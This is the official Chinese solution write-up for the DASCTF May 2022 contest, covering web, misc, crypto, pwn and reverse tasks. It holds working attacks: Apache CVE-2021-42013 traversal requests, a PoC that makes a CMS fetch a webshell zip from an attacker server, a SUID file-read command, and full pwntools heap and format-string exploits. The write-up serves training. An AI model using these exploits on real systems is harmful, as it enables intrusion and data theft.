![](https://img.laitimes.com/img/_0nNw4CM6IyYiwiM6ICdiwiIwIjNx8CX39CXy8CXycXZpZVZnFWbp9zZlBnauAjZ4UmZjZDZjFWZ1UWO4EjYzYzY2EWN3ATO4EWZxIDZvw1M1YTM5ITMtUGall3LcVmdhNXLwRHdo9CXt92YucWbpRWdvx2Yx5yazF2Lc9CX6MHc0RHaiojIsJye.jpeg)
2022DASCTF MAY出題人挑戰賽
于5月21日在Buu正式開賽
本次競賽共有 656 支隊伍報名
本次挑戰賽特邀出題人:
魔法少女雪殇、V、
v0id、不願透漏姓名的大帥gei
經商讨決定此次公開
非零解官方wp供大家學習參考
快來一起看看吧!
01 WEB
(1) hackme
知識點:golang、檔案上傳、rce
解題步驟:
1.通路url
2.發現下方連結可以點選,點選進入
3.點選之後看到一些内容,傳回一些對應的檔案和回顯
4.發現users.go無法被解析
5.最下面的點選後會進入upload目錄,可以上傳檔案,根據描述要上傳go檔案
6.但是如果上傳正常檔案無法被解析,說明上述檔案清單為白名單,這裡直接上傳users.go檔案
7.users.go
package main
import (
"fmt"
"os/exec"
)
func exp() {
out, err := exec.Command("cat","/flag").Output()
if err != nil {
fmt.Printf("%s", err)
}
output := string(out[:])
fmt.Println(output)
}
func main() {
exp()
}
複制
8.最後上傳後在url處通路即可
(2) getme
知識點:cve-2021-42013、日志分析
解題步驟:
1.通路url,f12看見提示,得知目前的路徑
2.經過wappalyzer可以看見目标站點是2.4.50
3.那麼可以得知有任意目錄穿越漏洞,經過穿越擷取目标站點的日志。
http://127.0.0.1:11777/icons/.%%32%65/logs/access_log
4.對日志分析,發現請求flag
curl -v --path-as-is
http://127.0.0.1:11777/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/flag
(fakeflag)
5.繼續分析,分析到一個超長請求,發現是真的flag
curl -v --path-as-is
http://127.0.0.1:11777/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/diajgk/djflgak/qweqr/eigopl/fffffflalllallalagggggggggg
(3) fxxkgo
知識點:golang、jwt認證、golang ssti注入、代碼審計
解題步驟:
1.代碼審計
2.看見幾個路由,跟蹤代碼,發現主要核心是在此處,存在一個模闆渲染
3.猜測存在模闆注入,其次整體是jwt認證,隻需要注冊時傳入{{.}}就可以擷取關鍵的key值,那麼再根據代碼中的内容令is_admin為true即可獲得flag即可
(4) 魔法浏覽器
知識點:ua修改、js反混淆
解題步驟:
1.通路網站,提示需要用魔法浏覽器通路
2.f12可以看到一串js代碼,解密後提示了内容
3.插件複制模仿後重新通路即可獲得flag
(5) Power Cookie
知識點:cookie修改
解題步驟:
1.cookie修改為admin 1即可獲得flag
(6) ezcms
知識點:php代碼審計、檔案上傳、指令執行、弱密碼
解題步驟:
1.通路網站,擷取背景admin 使用者admin 密碼123456,認證碼123456,進入背景,簡單測了一下沒啥奇怪的東西,接下來看看代碼
2.重點分析在update.php中,發現是直接對傳入的連接配接進行解密後解壓, 那就隻需要在遠端vps中部署一個惡意壓縮包,加密url讓其通路即可,滿足其請求内容的需求即可
3.他這裡使用了Mc_Encryption_Key作為全局變量,這裡隻需要跟一下就能找到他的密鑰。
4.最後直接指派sys_auth函數作為加密構築即可。
5.最終poc(a.zip為一句話木馬套了個zip,以達到解壓目的。
<?php
define('Mc_Encryption_Key','GKwHuLj9AOhaxJ2');
$strings = 'http://192.168.28.175/a.zip';
echo(sys_auth($strings));
function sys_auth($string, $type = 0, $key = '', $expiry = 0) {
if(is_array($string)) $string = json_encode($string);
if($type == 1) $string = str_replace('-','+',$string);
$ckey_length = 4;
$key = md5($key ? $key : Mc_Encryption_Key);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($type == 1 ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $type == 1 ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($type == 1) {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
$result = substr($result, 26);
$json = json_decode($result,1);
if(!is_numeric($result) && $json){
return $json;
}else{
return $result;
}
}
return '';
}
return str_replace('+', '-', $keyc.str_replace('=', '', base64_encode($result)));
}
複制
6.生成的内容構築通路update路由即可。
http://192.168.231.128:49155/admin.php/update?url=3c6cgE3ykiHsnVePLhpRN0tbay4rms8A0JWQPThnS9wZdBcDdBxDSekuci756GtYCpqX--4XqWA
7.最終通路http://192.168.231.128:1199/a/a.php
8.随後蟻劍即可
02 MISC
(1) delflag
知識點:docker layer檔案恢複、png隐寫、lsb隐寫、資料塊讀取
解題步驟:
1.根據題目描述,把遠端的docker pull 下來
docker pull snowywar/blue
2.然後運作不起來,看看他遠端的docker網址都做了哪些操作
3.發現flag.png被删除了,而且有個 i like blue的hint,暫時不知道有什麼用
4.先把鏡像給導出來
docker save snowywar/blue -o blue.tar
5.然後使用https://github.com/micahyoung/docker-layer-extract
工具對layer進行分析
6.看到他的全部操作曆史,找到COPY flag.png這個操作的ID,然後對其進行提取
7. ./main --imagefile blue.tar extract --layerid 68ab96bb98e84f10df61a676f0b02a2e9758f73c77947ebf63dba23f0f2e7210 --layerfile test.tar .
8.提取出圖檔
9.zsteg後沒發現可疑内容,但是在stegsolve發現比較奇怪的地方
10.複雜資料太多了,猜測這個手的位置是比較關鍵資料,結合提示和鏡像的blue,猜測要把手的這個blue全部提取然後進行轉換二進制。
11.撰寫腳本
from PIL import Image
import numpy as np
from Crypto.Util import number
import matplotlib.pyplot as plt
import imageio
p1 = Image.open('flag.png').convert('RGB')
p1_data = np.array(p1)
blue_data = []
a,b = p1_data.shape[0],p1_data.shape[1]
for y in range(a):
for x in range(b):
if p1_data[y][x][0] <= 200 and p1_data[y][x][1] <= 200 and p1_data[y][x][2] >= 150:
blue_data.append(p1_data[y][x])
else:
blue_data.append([0,0,0])
blue_data = np.array(blue_data).reshape(a*b*3)
# blue_data = np.array(blue_data).reshape(a,b,3)
# plt.imshow(blue_data)
# plt.show()
res = ''
for i in range(len(blue_data)):
if blue_data[i] != 0:
if blue_data[i]%2 != 0:
res += '1'
else:
res += '0'
res2 = b''
for i in range(0,len(res),8):
res2 += number.long_to_bytes(int(res[i:i+8],2))
f2 = open('flag2.png', 'wb')
f2.write(res2)
f2.close()
複制
12.獲得新的png
13.最後就比較簡單了,簡單分析一下圖檔,直接轉灰階然後八位一組,最後用gzip解壓即可
腳本
from PIL import Image
import numpy as np
import gzip
p = Image.open('flag2.png').convert('L')
p_data = np.array(p).reshape(p.size[0]*p.size[1])
res = ''
for i in p_data:
if i %2 == 0:
res += '0'
else:
res+='1'
print(res)
res2 = '00011111100010110000100000000000010110011101111001110111011000100000001011111111011100110111000100001100011101100000111001110001101010110100111001001100001100100100101010110010010011000011010100110001001100000011010101001010010010010100101101001101101101000011010001001111001100010011011000110101010010010011001001001010001100110100101100110101000001110000100101011000100110001101010000000010000000000001011010010101011110011001111000101000000000000000000000000000'
print(gzip.decompress(bytes(int(res2[i:i+8],2) for i in range(0,len(res2),8))))
複制
(2) 噪音
知識點:音頻分析、頻譜隐寫、波形分析
解題步驟:
1.聽音頻,完全的噪音,沒有任何規律,正常隐寫和一些工具檢視頻譜都沒有資料。
2.au把波形方法,詳細觀察
3.發現看似沒有規律,但是貌似他的所有的音頻資料高度都是一緻的,有迹可循
4.将其音頻能量全部輸出來看看。
5.觀察到果然音頻能量是重複排序的,那麼排序一下看看總共多少個内容
6.果然,總共15個,猜測分别對應從0-f。那麼對應的轉換然後輸出hex
from scipy.io import wavfile
samplerate, data = wavfile.read('test.wav')
rounded_data = []
unique = []
for i in data:
r = round(i, -2)
rounded_data.append(r)
if r in unique:
continue
else:
unique.append(r)
unique.sort()
print(unique)
flag_hex = []
for a in rounded_data:
flag_hex.append(hex(unique.index(a))[2:])
print("".join(flag_hex))
複制
7.最後獲得一大串hex,丢入cyberchef進行轉換即可
(3) 神必流量
知識點:usb流量分析、golang逆向、xor分析
解題步驟:
P.s:這題出了點小問題,出的時候忘記考慮USB流量在傳輸中會造成一定的資料丢失,是以源資料無法提取,修複後降低了不少難度。
預期解:
1.首先分析流量,可以看見一個7z檔案頭,提取出來獲得一串連接配接,通路是谷歌網盤,打開後下載下傳out.txt是一串亂碼,猜測是根據main.exe加密得來,那麼直接對main.exe進行逆向分析。
2.簡單分析一下,程式通過打開檔案然後對内容與key進行了異或運算。
3.跟一下,key的值為6603
4.最後直接寫腳本就行了。
package main
import (
"bufio"
"fmt"
"io"
"os"
)
var key = "6603"
func main(){
encodeStr := openTxt("out.txt")
var decodeStr = strByXOR(encodeStr,key)
fmt.Println(decodeStr)
}
func openTxt(txt string) string {
filePath := txt
file, err := os.Open(filePath)
if err != nil {
fmt.Println("檔案打開失敗 = ", err)
return ""
}
defer file.Close() // 關閉文本流
reader := bufio.NewReader(file) // 讀取文本資料
for {
str, err := reader.ReadString('\n')
if err ==io.EOF {
break
}
return str
}
fmt.Println("檔案讀取結束")
return ""
}
func strByXOR(message string,keywords string) string{
messageLen := len(message)
keywordsLen := len(keywords)
result := ""
for i := 0; i < messageLen; i++ {
result += string(message[i] ^ keywords[i%keywordsLen])
}
return result
}
複制
非預期解:
考慮不周全了,下次應該用arm編譯hhh,由于是xor運算,密鑰也在程式裡,是以隻需要把out.txt改成flag.txt運作程式就可以了
(4) 不懂PCB的廚師不是好黑客
知識點:PCB
解題步驟:
1.建立立創工程檔案
2.導入檔案
3.轉換3d視圖即可看見flag轉換3d視圖即可看見flag
(5) 卡比
知識點:卡比文字、維吉尼亞
解題步驟:
1.根據題目描述得知圖檔的文字是卡比遊戲的文字,直接根據表替換
2.獲得内容ptrh{gwdvswvqbfiszsz}
3.根據題目描述,猜測密鑰是kirby
flag{imverylikekirby},包上DASCTF{}即可
(6) rootme
知識點:suid提權
解題步驟:
1.直接連接配接ssh
2.find / -perm -4000
3.date -f /root/flag.txt
03 CRYPTO
(1) Yusa的密碼學課堂——一見如故
知識點:線性攻擊
解題步驟:
1.注意到題目是實作了一個稍微魔改版本的MT19937算法,除了一些參數的小改之外,最大的變化在于rand函數
def rand(self):
if self.index == 0:
self.generate()
y = self.MT[self.index]
y = y ^ self.cs2l(y, 11) ^ self.cs2l(y,15)
y = y ^ self.cs2r(y,7) ^ self.cs2r(y,19)
self.index = (self.index + 1) % 624
return y
def cs2l(self, y, shift):
return ((y << shift) ^ (y >> (32 - shift))) & 0xffffffff
def cs2r(self, y, shift):
return ((y >> shift) ^ (y << (32 - shift))) & 0xffffffff
複制
2.這裡對從狀态數組MT中提取出來的y進行了兩次處理,都是異或循環移位後的自己。可以将每一個比特拆開來看會清晰一些,那第一次異或運算舉例
3.那麼原來的y的第1,22,18個比特會進行異或生成結果值的第一個比特,是以我們根據偏移可以構造如下矩陣
4.設該狀态轉移矩陣為 ML,那麼我們
是以根據
我們即可恢複前一個狀态
5.對624個輸出均如此操作之後,我們即可擷取一組狀态數組
6.然後接着往後生成随機數,即可擷取flag
(2) Yusa的密碼學課堂——二眼深情
知識點:線性攻擊
解題步驟:
1.題目仍然沿用了《Yusa的密碼學課堂——一見如故》的魔改算法,根據題意,據需要根據互動中提供的兩個随機數來恢複初始化種子的值。
2.那麼第一步是根據前一題建構的狀态轉移矩陣對随機數進行untamper擷取擷取兩個狀态數組中的值,那麼此刻注意到 generate 函數
def generate(self):
for i in range(624):
y = (self.MT[i] & 0x80000000) + (self.MT[(i+1)%624] & 0x7fffffff)
self.MT[i] = self.MT[(i+397)%624] ^ (y >> 1)
if y & 1:
self.MT[i] ^= 2567483520
複制
3.下一輪新的狀态值【i+624】由這一輪的【i】(提供最高位)和【i+1】(提供除最高位)拼接,右移以為後異或【i+397】而來。随後根據右移抹掉得一位選擇要不要異或2567483520
4.是以我們可以選擇第 622 和第 395 兩個随機數,untamper後得到相應得狀态值
5.随後兩者相異或,根據最高位判斷是否需要異或2567483520并且最低位是0還是1,由此我們可以恢複y(由這一輪的【i】(提供最高位)和【i+1】(提供除最高位)拼接),扔掉最高比特,就是上一輪最後一個狀态值的低31位比特值了。而至于最高比特,這裡我們選擇直接爆破。
6.而擷取第一輪狀态得最後一個值後,怎麼前推呢?注意到_ init _ 函數
for i in range(1,624):
t = 2037740385 * (self.MT[i-1] ^ (self.MT[i-1] >> 30)) + 1
self.MT[i] = t & 0xffffffff
複制
7.這裡與上了0xffffffff,其實等價于取餘 0xffffffff+1,經過測試也發現 gcd(2037740385,0xffffffff+1)=1,是以我們可以編寫相應得逆置函數,先減1,再乘以 2037740385得逆,随後便獲得了上一輪狀态值:self.MT[i-1] ^ (self.MT[i-1] >> 30),至于這個自異或的操作呢,再運作一遍就可以傳回原來的self.MT[i-1]的值了。
(3)Yusa的密碼學課堂——三行情書
知識點:線性攻擊、z3解密方程組
解題步驟:
1.題目隻有三行,用的是傳統的MT19937算法,但是問題在于,給出的2000個随機數與上了一個2037740385,顯然與運算是不可逆的,我們沒辦法擷取完整的原始随機數。但是通過檢視2037740385的二進制,總夠有18個‘1’,考慮到MT19937又都是線性變換,于是這裡我們使用z3限制去對原始狀态進行求解。
2.首先我們根據2037740385的比特,恢複剩餘有效資訊,無法恢複處使用‘?’占位
def fix(num):
mask = bin(2037740385)[2:].rjust(32,"0")
source = bin(num)[2:].rjust(32,"0")
res = ''
for i in range(32):
if mask[i] == '1':
res += source[i]
else:
res += '?'
return res
random_num = [...]
for i in range(2000):
ut.submit(fix(random_num[i]))
複制
3.然後把每一個确定比特的限制都加進去
def get_symbolic(self, guess):
name = next(SYMBOLIC_COUNTER)
guess = guess.zfill(32)
self.symbolic_guess = BitVec('symbolic_guess_%d'%(name), 32)
guess = guess[::-1]
for i, bit in enumerate(guess):
if bit != '?':
self.solver.add(Extract(i, i, self.symbolic_guess) == bit)
return self.symbolic_guess
複制
4.接着需要對每一個随機數的輸出根據它tamper的限制擷取原始狀态值
def symbolic_untamper(self, solver, y):
name = next(SYMBOLIC_COUNTER)
y1 = BitVec('y1_%d'%(name), 32)
y2 = BitVec('y2_%d'%(name), 32)
y3 = BitVec('y3_%d'%(name), 32)
y4 = BitVec('y4_%d'%(name), 32)
equations = [
y2 == y1 ^ (LShR(y1, 11)),
y3 == y2 ^ ((y2 << 7) & 0x9D2C5680),
y4 == y3 ^ ((y3 << 15) & 0xEFC60000),
y == y4 ^ (LShR(y4, 18))
]
solver.add(equations)
return y1
複制
self.solver.add(self.MT)
複制
5.狀态值夠624個了後,根據twist,生成下一輪狀态值
def symbolic_twist(self, MT, n=624, upper_mask=0x80000000, lower_mask=0x7FFFFFFF, a=0x9908B0DF, m=397):
MT = [i for i in MT]
for i in range(n):
x = (MT[i] & upper_mask) + (MT[(i+1) % n] & lower_mask)
xA = LShR(x, 1)
xB = If(x & 1 == 0, xA, xA ^ a)
MT[i] = MT[(i + m) % n] ^ xB
複制
6.并對添加對下一輪狀态值的限制
name = next(SYMBOLIC_COUNTER)
next_mt = self.symbolic_twist(self.MT)
self.MT = [BitVec('MT_%d_%d'%(i,name), 32) for i in range(624)]
for i in range(624):
self.solver.add(self.MT[i] == next_mt[i])
self.index = 0
複制
7.最後我們跑z3擷取狀态值,然後調用自帶的random庫生成後續随機數就可以得到flag了
def get_random(self):
self.solver.check()
model = self.solver.model()
state = list(map(lambda x: model[x].as_long(), self.MT))
result_state = (3, tuple(state+[self.index]), None)
r = Random()
r.setstate(result_state)
return r
複制
04 PWN
(1) 山重水複
知識點:off-by-one改size構造堆塊重疊double free、IO_FILE洩露libc、劫持exit_hook為one_gadget
解題步驟:
1.edit函數的my_read函數可以溢出一位元組,存在off-by-one
2.利用off-by-one制造堆塊重疊,讓main_arena+96的位址寫在tcache的fd上
3.用edit修改末2位,1/16的機率改為_IO_2_1_stdout_
4.利用輸出的位址算出libc基址和ld基址,進而得到one_gadget和exit_hook的位址
5.同理利用off-by-one和edit劫持tcache到exit_hook改為one_gadget
6.菜單選擇退出,調用exit函數getshell
exp:
#encoding: utf-8
#!/usr/bin/python
from pwn import *
import sys
#from LibcSearcher import LibcSearcher
context.log_level = 'debug'
context.arch='amd64'
local=0
binary_name='pwn'
libc_name='libc-2.31.so'
ld_name='ld-2.31.so'
libc=ELF("./"+libc_name)
ld=ELF("./"+ld_name)
elf=ELF("./"+binary_name)
def exp():
if local:
p=process("./"+binary_name)
#p=process("./"+binary_name,env={"LD_PRELOAD":"./"+libc_name})
#p = process(["qemu-arm", "-L", "/usr/arm-linux-gnueabihf", "./"+binary_name])
#p = process(argv=["./qemu-arm", "-L", "/usr/arm-linux-gnueabihf", "-g", "1234", "./"+binary_name])
else:
p=remote('0.0.0.0',9999)
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x,timeout=3)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,b'\x00'))
def cho(num):
sla('Your choice:',str(num))
def add(idx,size):
cho(1)
sla('Idx:',str(idx))
sla('Size:',str(size))
def edit(idx,con):
cho(2)
sla('Idx:',str(idx))
sla('context: ',con)
def delete(idx):
cho(3)
sla('Idx:',str(idx))
# variables
# gadgets
og=[0xe6c7e,0xe6c81,0xe6c84,0xe6e73,0xe6e76]
# helper functions
op32 = make_packer(32, endian='big', sign='unsigned') # opposite p32
op64 = make_packer(64, endian='big', sign='unsigned') # opposite p64
# main
add(0,0x18) # 0 待會用來溢出改下個堆塊size為0x481
add(1,0x410) # 1 待會被改size的堆塊
add(2,0x28) # 2 使tcache計數器為2
add(3,0x28) # 3 跟上面配合堆塊重疊
add(4,0x18) # 4 防止合并
payload=0x18*'\x00'+'\x81'
edit(0,payload)
delete(1) # 釋放堆塊使其連帶下面的堆塊進入unsorted bin
delete(2)
delete(3)
add(5,0x440) # 切割,使main_arena+96位址寫在tcache的fd位
add(6,0x18) # 0x38不會申請出tcache,且unsorted bin剩餘部分不足0x20,申請出與tcache裡堆塊相同的位址
payload='\xa0\x46'
edit(6,payload) # 修改_IO_2_1_stdout_結構體的位址的最低2位元組,4需要爆破1/16
#z()
#pause()
add(6,0x28) # 6
add(7,0x28) # 7
payload=p64(0xfbad1800)+p64(0)*3+b'\x00'
edit(7,payload)
_IO_2_1_stdin_=u64(ru("\x7f")[-6:].ljust(8,'\x00'))
libc_base=_IO_2_1_stdin_-libc.symbols['_IO_2_1_stdin_']
ld_base=libc_base+0x1f4000
system_addr=libc_base+libc.symbols['system']
one_gadget=libc_base+og[0]
_rtld_global = ld_base + ld.sym['_rtld_global']
_dl_rtld_lock_recursive = _rtld_global + 0xf08
success('libc_base:'+hex(libc_base))
success('ld_base:'+hex(ld_base))
success('_dl_rtld_lock_recursive:'+hex(_dl_rtld_lock_recursive))
success('one_gadget:'+hex(one_gadget))
#pause()
add(0,0x18) # 0 待會用來溢出改下個堆塊size為0x481
add(1,0x410) # 1 待會被改size的堆塊
add(2,0x28) # 2 使tcache計數器為2
add(3,0x28) # 3 跟上面配合堆塊重疊
add(4,0x18) # 4 防止合并
payload=0x18*'\x00'+'\x81'
edit(0,payload)
delete(1) # 釋放堆塊使其連帶下面的堆塊進入unsorted bin
delete(2)
delete(3)
add(5,0x440) # 切割,使main_arena+96位址寫在tcache的fd位
add(6,0x18) # 0x38不會申請出tcache,且unsorted bin剩餘部分不足0x20,申請出與tcache裡堆塊相同的位址
payload=p64(_dl_rtld_lock_recursive)
edit(6,payload) # 申請出_dl_rtld_lock_recursive
add(6,0x28) # 6
add(7,0x28) # 7
payload=p64(one_gadget)
edit(7,payload)
success('_dl_rtld_lock_recursive:'+hex(_dl_rtld_lock_recursive))
success('one_gadget:'+hex(one_gadget))
#pause()
cho(4)
ia()
time=0
while True:
try:
time+=1
log.warn('time:'+str(time))
exp()
break
except:
continue
複制
(2) twists and turns
知識點:利用house of kiwi在無free_hook,malloc_hook,exit_hook的情況下劫持程式流、orw繞沙箱、malloc申請不會初始化堆空間,可以洩露位址、malloc申請較大堆塊時,會使用mmap配置設定,可以在原先mmap的區域前面開辟一塊合法空間、堆塊idx負數溢出、tcache double free
解題步驟:
堆塊結構和利用方法:
1.程式實作了add,delete和show的功能,add時不會初始化,delete函數存在idx負數溢出
2.申請一塊0x410的堆塊,再申請一塊0x10的堆塊防止合并
3.釋放0x410的堆塊,再申請一塊小的回來,寫入8個A,show的時候可以連着後面的頭結點輸出,即可洩露libc位址
4.釋放剛剛申請的再申請回來,這回寫入10個A,因為大循環時會臨時放入largebin,是以後面有堆位址,同樣洩露出來
5.malloc一塊0x21918大小的堆塊,會調用mmap配置設定,使存放堆塊位址的前面變為合法位址,在上面寫入需要double free的堆位址
6.然後布置house of kiwi劫持程式流所需的資料
7.利用tcache double free覆寫_IO_file_sync為setcontext+61
8.同理,往_IO_helper_jumps布置寄存器資料,最後改top_chunk的size為0x18
9.申請0x30的堆塊,大于top_chunk的size,檢查出錯觸發assert進入SROP
10.傳入orw的payload得到flag
exp:
#encoding: utf-8
#!/usr/bin/python
from pwn import *
import sys
#from LibcSearcher import LibcSearcher
context.log_level = 'debug'
context.arch='amd64'
local=1
binary_name='pwn'
libc_name='libc-2.31.so'
libc=ELF("./"+libc_name)
elf=ELF("./"+binary_name)
if local:
p=process("./"+binary_name)
#p=process("./"+binary_name,env={"LD_PRELOAD":"./"+libc_name})
#p = process(["qemu-arm", "-L", "/usr/arm-linux-gnueabihf", "./"+binary_name])
#p = process(argv=["./qemu-arm", "-L", "/usr/arm-linux-gnueabihf", "-g", "1234", "./"+binary_name])
else:
p=remote('0.0.0.0',9999)
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,b'\x00'))
def cho(num):
sla('Your choice:',str(num))
def add(size,con):
cho(1)
sla('Size:',str(size))
sa('Content:',con)
def show(idx):
cho(3)
sla('Idx:',str(idx))
def delete(idx):
cho(2)
sla('Idx:',str(idx))
# variables
# gadgets
# helper functions
op32 = make_packer(32, endian='big', sign='unsigned') # opposite p32
op64 = make_packer(64, endian='big', sign='unsigned') # opposite p64
# main
add(0x410,'con') # 0
add(0x10,'con') # 1
delete(0)
add(0x200,'A'*8) # 0
show(0)
ru('A'*8)
unsorted_addr=leak_address()
libc_base=unsorted_addr-0x1ebfd0
__free_hook=libc_base+libc.sym['__free_hook']
_IO_file_jumps=libc_base+libc.sym['_IO_file_jumps']
setcontext=libc_base+libc.sym['setcontext']
_IO_helper_jumps=libc_base+0x1ec8a0
open_addr=libc_base+libc.sym['open']
read_addr=libc_base+libc.sym['read']
puts_addr=libc_base+libc.sym['puts']
pop_rdi=libc_base+0x26b72
pop_rsi=libc_base+0x27529
pop_rdx_r12=libc_base+0x11c371
success("libc_base:"+hex(libc_base))
success('_IO_file_jumps:'+hex(_IO_file_jumps))
success('_IO_helper_jumps:'+hex(_IO_helper_jumps))
success('setcontext:'+hex(setcontext))
delete(0)
add(0x200,'A'*0x10) # 0
show(0)
ru('A'*0x10)
heap_addr=leak_address()
success('heap_addr:'+hex(heap_addr))
delete(0)
delete(1)
payload = p64(heap_addr+0x2e0)+p64(heap_addr+0x680)+p64(heap_addr+0x920)
add(0x21918,payload) # 0
# 覆寫_IO_file_sync為setcontext+61
for i in range(1,10):
add(0x10,'con')
for i in range(1,10):
delete(i)
delete(-17406)
for i in range(1,8):
add(0x10,'con')
add(0x10,p64(_IO_file_jumps+0x60)) # 8
add(0x10,'con') # 9
add(0x10,'con') # 10
add(0x10,p64(setcontext+61)) # 11
# 往_IO_helper_jumps布置寄存器資料
# 構造fake_frame
frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = __free_hook
frame.rdx = 0x2000
frame.rsp = __free_hook
frame.rip = read_addr # 對應setcontext裡的rcx,後面會被push
for i in range(12,21):
add(0x60,'con')
for i in range(12,21):
delete(i)
delete(-17405)
for i in range(12,19):
add(0x60,'con')
add(0x60,p64(_IO_helper_jumps+0x68)) # 19
add(0x60,'con') # 20
add(0x60,'con') # 21
add(0x60,str(frame)[0x68:0x68+0x50]) # 22
# 改top_chunk的size,用于觸發assert
for i in range(23,32):
add(0x30,'con')
for i in range(23,32):
delete(i)
delete(-17404)
for i in range(23,30):
add(0x30,'con')
add(0x30,p64(heap_addr+0x990)) # 30
add(0x30,'con') # 31
add(0x30,'con') # 32
add(0x30,p64(0x18)*2) # 33
#z("b *"+hex(setcontext+61))
#pause()
cho(1)
sla('Size:',str(0x30))
orw = p64(pop_rdi)+p64(__free_hook+0xf8)
orw += p64(pop_rsi)+p64(0)
orw += p64(pop_rsi)+p64(0)+p64(open_addr)
orw += p64(pop_rdi)+p64(3)
orw += p64(pop_rsi)+p64(__free_hook+0x100)
orw += p64(pop_rdx_r12)+p64(0x30)+p64(0)+p64(read_addr)
orw += p64(pop_rdi)+p64(__free_hook+0x100)+p64(puts_addr)
orw = orw.ljust(0xf8,'\x00')
orw += b'./flag\x00\x00'
sleep(1)
sd(orw)
ia()
複制
(3) gift
知識點:字元串末尾無\x00會連帶輸出、格式化字元串漏洞、檔案名的位址也在棧上,可以覆寫為存flag的堆位址、低版本libc在free報錯時會輸出檔案名
解題步驟:
1.棧上存在堆位址,裡面有flag,利用name跟堆位址相鄰,覆寫\x00連帶洩露堆位址
2.輸入yes時,後面的棧空間可以存放堆位址-8,便于之後格式化字元串漏洞修改size為0使報錯
3.題目給的gift是棧位址,可以根據偏移算出存放檔案名的指針的位址
4.利用格式化字元串漏洞修改堆塊size為0和存放檔案名的指針改為堆位址
5.程式最後free堆塊觸發報錯輸出flag
exp:
#!/usr/bin/python
from pwn import *
import sys
context.log_level = 'debug'
context.arch='amd64'
local=0
if local:
p=process("./"+binary_name)
#p=process("./"+binary_name,env={"LD_PRELOAD":"./"+libc_name})
#p = process(["qemu-arm", "-L", "/usr/arm-linux-gnueabihf", "./"+binary_name])
#p = process(argv=["./qemu-arm", "-L", "/usr/arm-linux-gnueabihf", "-g", "1234", "./"+binary_name])
else:
p=remote('0.0.0.0',9999)
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,b'\x00'))
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
sa("What's your name?\n",'A'*8)
ru('A'*8)
heap_addr=leak_address()
success("heap_addr:"+hex(heap_addr))
payload="Yes\n".ljust(8,'\x00')+p64(heap_addr-0x8)
sa("Do you want it?\n",payload)
ru("Here is your gift:")
gift_addr=int(p.recv(14),16)
success("gift_addr:"+hex(gift_addr))
target_addr=gift_addr+0x1a8
payload="%11$hhn|"+fmtstr_payload(13,{target_addr:heap_addr},numbwritten=1)
#z("b *$rebase(0x14E6)")
#pause()
sa("Now,to find your flag in the gift!\n",payload)
ia()
複制
05 REVERSE
(1) WER
知識點:虛假控制流
解題步驟:
1.通過 windows 的 WER 機制來隐藏控制流
class Test {
public:
Test() {
atexit(OnExit);
PVOID pvParameter = NULL;
DWORD dwPingInterval = RECOVERY_DEFAULT_PING_INTERVAL;
DWORD dwFlags = 0;
HRESULT hRes = RegisterApplicationRecoveryCallback(ApplicationRecoverCallback, pvParameter, dwPingInterval, dwFlags);
}
};
void OnExit()
{
WerReportHang(GetForegroundWindow(), NULL);
TriggerException();
}
複制
2.在類初始化時注冊一個 ApplicationRecoverCallback 回調,可以在 main 函數之前完成
3.在 onExit 裡調用 WerReportHang 并觸發異常,使真正的邏輯執行
(編譯優化把 miracl 大數庫的幾千個函數編譯沒了,導緻 main 向上翻一翻就能找到,同時原來加密的字元串 correct 也變成明文了。。)
4.main 中的邏輯是 ECC 中的點加法,但是設定為了不可能成立,同時在 mp_read_radix 中動了手腳,能把輸入儲存下來。